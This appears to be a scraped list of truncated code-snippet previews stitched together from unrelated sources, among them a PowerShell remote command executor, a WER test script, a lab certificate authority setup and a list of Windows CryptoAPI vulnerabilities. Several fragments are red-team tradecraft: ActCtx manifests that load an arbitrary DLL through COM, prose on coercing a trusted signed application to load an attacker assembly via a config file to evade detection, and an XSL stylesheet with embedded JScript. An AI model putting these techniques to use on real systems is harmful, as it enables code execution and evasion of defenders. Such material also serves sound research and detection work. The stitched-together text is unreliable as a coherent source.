| # PowerShell Web Command Executor | |
| # WARNING: This script allows remote command execution and poses significant security risks | |
| # Use only in isolated/trusted environments with proper security measures | |
| # Configuration | |
| $port = 8080 | |
| $prefix = "http://" + $port + "/" | |
| # Create HTTP listener | |
| $listener = New-Object System.Net.HttpListener |
| using System; | |
| namespace CrashTestApp | |
| { | |
| class Program | |
| { | |
| static void Main(string[] args) | |
| { | |
| Console.WriteLine("Crash Test Application"); | |
| Console.WriteLine("======================"); |
| <# | |
| .SYNOPSIS | |
| Configure Windows Error Reporting to use an internal corporate server, | |
| trigger a test crash, and review reports. | |
| .DESCRIPTION | |
| This script provides functions to: | |
| - Set WER corporate server URL and settings | |
| - Trigger a basic crash for testing | |
| - Review pending and archived WER reports |
| //Example Reference: | |
| // https://unit42.paloaltonetworks.com/unit42-houdinis-magic-reappearance/ | |
| // Test | |
| new ActiveXObject('WScript.Shell').Environment('Process')('TMP') = 'C:\\Tools'; | |
| // Change that C:\\Tools to a location you specify, or dynamically find current directory. | |
| // ActCTX will search for the DLL in TMP | |
| var manifest = '<?xml version="1.0" encoding="UTF-16" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity type="win32" name="DynamicWrapperX" version="2.2.0.0"/> <file name="dynwrapx.dll"> <comClass description="DynamicWrapperX Class" clsid="{89565276-A714-4a43-912E-978B935EDCCC}" threadingModel="Both" progid="DynamicWrapperX"/> </file> </assembly>'; |
| #Doesn't Even Have to Be A Conformant COM DLL To trigger the load. | |
| # Sample DLL To inject here | |
| # https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1179 | |
| $manifest = '<?xml version="1.0" encoding="UTF-16" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity type="win32" name="LiterallyDoesentMatter" version="6.6.6.0"/> <file name="Anyname.dll.anything"> <comClass description="Any Description HERE" clsid="{89565276-A714-4a43-91FE-EDACDCC0FFEE}" threadingModel="Both" progid="JustMakeSomethingUp"/> </file> </assembly>'; | |
| $ax = new-object -Com "Microsoft.Windows.ActCtx" | |
| $ax.ManifestText = $manifest; | |
| $DWX = $ax.CreateObject("JustMakeSomethingUp"); |
We can do this by experimenting with .config files.
Many defenders catch/detect files that are renamed, they do this by matching Original Filename to Process Name
In this example, we don't have to rename anything. We simple coerce a trusted signed app to load our Assembly.
We do this by directing the application to read a config file we provide.
| <# | |
| .SYNOPSIS | |
| Script to install and configure a standalone RootCA for Lab-Environments | |
| .DESCRIPTION | |
| This Script sets up a standalone RootCA. It's main purpose is to save time when building Labs in the classes I teach. | |
| ###It's not meant for production!### | |
| First, it creates a CAPolicy.inf file. Then it deletes all default CDP and AIA and configures new ones. | |
| It turns on auditing and copys (It's a Lab!!!, so obviously no real offline RootCA...) the crt and crl to an edge webserver. | |
| .NOTES | |
| Author: Oliver Jäkel | oj@jaekel-edv.de | @JaekelEDV |
| <xsl:stylesheet version="1.0" | |
| xmlns:xsl="http://www.w3.org/1999/XSL/Transform" | |
| xmlns:msxsl="urn:schemas-microsoft-com:xslt" | |
| xmlns:user="http://mycompany.com/mynamespace"> | |
| <!--from | |
| https://gist.github.com/subTee/aa548b36b5d3c8f07e2024ab39217712 | |
| --> | |
| <msxsl:script language="JScript" implements-prefix="user"> | |
| <![CDATA[ | |
I'll search for Windows Crypto API vulnerabilities over the last 10 years.Based on my research, here is a comprehensive list of Windows Crypto API vulnerabilities from the last 10 years:
Affected: crypt32.dll
A spoofing vulnerability in the way Windows CryptoAPI validates Elliptic Curve Cryptography (ECC) certificates. Attackers could sign malicious code with spoofed certificates, making it appear from trusted sources. Enables man-in-the-middle attacks and decryption of confidential data. Discovered by the NSA.
| ### --- PART 1: LIST ALL REGISTERED URL SCHEMES --- ### | |
| Write-Host "Registered URL Schemes (from HKCU + HKLM):`n------------------------" | |
| # Per-user schemes | |
| $schemesUser = Get-ChildItem "HKCU:\Software\Classes" | | |
| Where-Object { | |
| ($_ | Get-ItemProperty -ErrorAction SilentlyContinue)."(Default)" -match "URL:" ` | |
| -and (Get-ItemProperty $_.PSPath -ErrorAction SilentlyContinue)."URL Protocol" -ne $null | |
| } |